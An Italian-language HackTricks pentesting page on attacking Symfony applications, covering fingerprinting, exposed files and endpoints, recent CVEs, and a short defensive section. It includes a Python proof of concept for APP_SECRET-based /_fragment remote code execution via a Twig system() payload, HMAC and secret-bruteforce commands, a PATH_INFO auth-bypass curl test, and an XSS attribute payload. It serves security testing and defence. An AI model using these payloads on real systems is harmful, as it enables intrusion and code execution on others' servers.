Symfony

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Symfony è uno dei framework PHP più utilizzati e compare regolarmente nelle valutazioni di target enterprise, e-commerce e CMS (Drupal, Shopware, Ibexa, OroCRM … tutti integrano componenti Symfony). Questa pagina raccoglie suggerimenti offensivi, mis-configurazioni comuni e vulnerabilità recenti da avere nella checklist quando si scopre un’applicazione Symfony.

Nota storica: Gran parte dell’ecosistema gira ancora sul ramo 5.4 LTS (EOL Novembre 2025). Symfony 7.4 è diventato il nuovo LTS in Nov 2025 e riceverà fix di sicurezza fino a Nov 2029. Verifica sempre l’esatto livello di patch perché molti advisory 2024‑2026 sono stati risolti solo in micro-release.


Recon & Enumeration

Finger-printing

  • Intestazioni di risposta HTTP: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link o cookie che iniziano con sf_redirect, sf_session, MOCKSESSID.
  • Codice sorgente leaks (composer.json, composer.lock, /vendor/…) spesso rivelano la versione esatta:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Rotte pubbliche che esistono solo su Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pretty error pages)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith o wordlists per ffuf/feroxbuster: symfony.txt → cerca /_fragment, /_profiler, .env, .htaccess.

Interesting files & endpoints

PathPerché è importante
/.env, /.env.local, /.env.prodSpesso esposti a causa di errata distribuzione → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgDivulgazione del codice sorgente → credenziali + logica di business
/var/log/*.log, /log/dev.logErrata configurazione della web-root espone stack-traces
/_profilerStorico completo delle richieste, configurazione, service container, APP_SECRET (≤ 3.4)
/_fragmentPunto di ingresso usato da ESI/HInclude. Abuso possibile una volta noto APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE se accessibile (CVE-2017-9841)
/index.php/_error/{code}Finger-printing & talvolta leak di trace delle eccezioni

High-impact Vulnerabilities

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 originariamente, ma ancora riscontrabile su target moderni quando il debug è lasciato abilitato o .env è esposto.
  • Una volta noto il APP_SECRET a 32 caratteri, costruisci un token HMAC e sfrutta il controller interno render() per eseguire Twig arbitrario:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excellent write-up & exploitation script: Ambionics blog (linked in References).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • Colpisce le versioni inferiori a 5.4.50, 6.4.29 e 7.3.7. La normalizzazione dei path poteva rimuovere lo slash iniziale /, rompendo regole di controllo accessi che assumono /admin ecc.
  • Test rapido: curl -H 'PATH_INFO: admin/secret' https://target/index.php → se raggiunge le rotte admin senza autenticazione, l’hai trovato.
  • Patch: aggiorna symfony/http-foundation o l’intero framework al livello di patch corretto.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Colpisce le versioni inferiori a 5.4.51, 6.4.33, 7.3.11, 7.4.5 e 8.0.5 su Windows quando PHP è eseguito da MSYS2 (Git-Bash, mingw). Process non quotava correttamente = portando a percorsi corrotti; comandi distruttivi (rmdir, del) possono puntare a directory non intenzionate.
  • Se puoi caricare uno script PHP o influenzare Composer/CLI helpers che invocano Process, costruisci argomenti con = (es. E:/=tmp/delete) per causare riscritture di percorso.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Quando register_argv_argc=On e usando runtime non-SAPI, query string appositamente costruite potevano modificare APP_ENV/APP_DEBUG tramite il parsing di argv. Patch in 5.4.46/6.4.14/7.1.7.
  • Controlla la presenza di /?--env=prod o simili accettati nei log.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Caratteri speciali nell’URI non venivano validati nello stesso modo dei browser, permettendo redirect verso domini controllati dall’attaccante. Fix in 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component prima della 2.25.1 renderizzano {{ attributes }} senza escaping → attribute injection/XSS. Se l’app permette agli utenti di definire attributi dei componenti (admin CMS, email templating) puoi concatenare per ottenere script injection.
  • Aggiorna entrambi i pacchetti a 2.25.1+. Come exploit manuale, inserisci JS in un valore attributo passato a un componente custom e forza il rendering.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Il componente Process cercava la working directory corrente prima di PATH su Windows. Un attaccante in grado di caricare tar.exe, cmd.exe, ecc. in una web-root scrivibile e triggerare Process (es. estrazione file, generazione PDF) poteva ottenere esecuzione di comandi.
  • Patch in 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • L’authentication guard riutilizzava un session ID esistente dopo il login. Se un attaccante imposta il cookie prima che la vittima si autentichi, può hijackare l’account dopo il login.

9. Twig sandbox XSS – CVE-2023-46734

  • In applicazioni che espongono template controllati dall’utente (admin CMS, email builder) il filtro nl2br poteva essere abusato per bypassare la sandbox e iniettare JS.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id produce un payload Phar che scatena RCE quando un unserialize() incontra classi come sfNamespacedParameterHolder. Controlla endpoint di upload file e wrapper phar://.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce di un APP_SECRET debole

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE tramite Symfony Console esposto

Se bin/console è raggiungibile tramite php-fpm o caricamento diretto via CLI:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Usa deserialization gadgets all’interno della cache directory oppure scrivi un Twig template maligno che verrà eseguito alla prossima richiesta.

Prova rapidamente il bypass PATH_INFO (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Se l’output renderizzato esegue l’echo dell’attributo senza escaping, l’XSS ha successo. Applicare la patch a 2.25.1+.


Note difensive

  1. Non distribuire mai debug (APP_ENV=dev, APP_DEBUG=1) in produzione; bloccare /app_dev.php, /_profiler, /_wdt nella configurazione del web-server.
  2. Conservare i secrets in env vars o vault/secrets.local.php, mai in file accessibili tramite il document-root.
  3. Implementare una gestione delle patch – iscriversi agli security advisories di Symfony e mantenere almeno il livello patch LTS (5.4.x fino a Nov 2025, 6.4 fino a Nov 2027, 7.4 fino a Nov 2029).
  4. Se esegui su Windows, effettua l’upgrade immediatamente per mitigare CVE-2024-51736 & CVE-2026-24739 oppure aggiungi una difesa in profondità tramite open_basedir/disable_functions.

Strumenti offensivi utili

  • ambionics/symfony-exploits – secret-fragment RCE, scoperta delle route del debugger.
  • phpggc – gadget chains pronte per Symfony 1 & 2.
  • sf-encoder – piccolo helper per calcolare l’HMAC di _fragment (implementazione in Go).

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks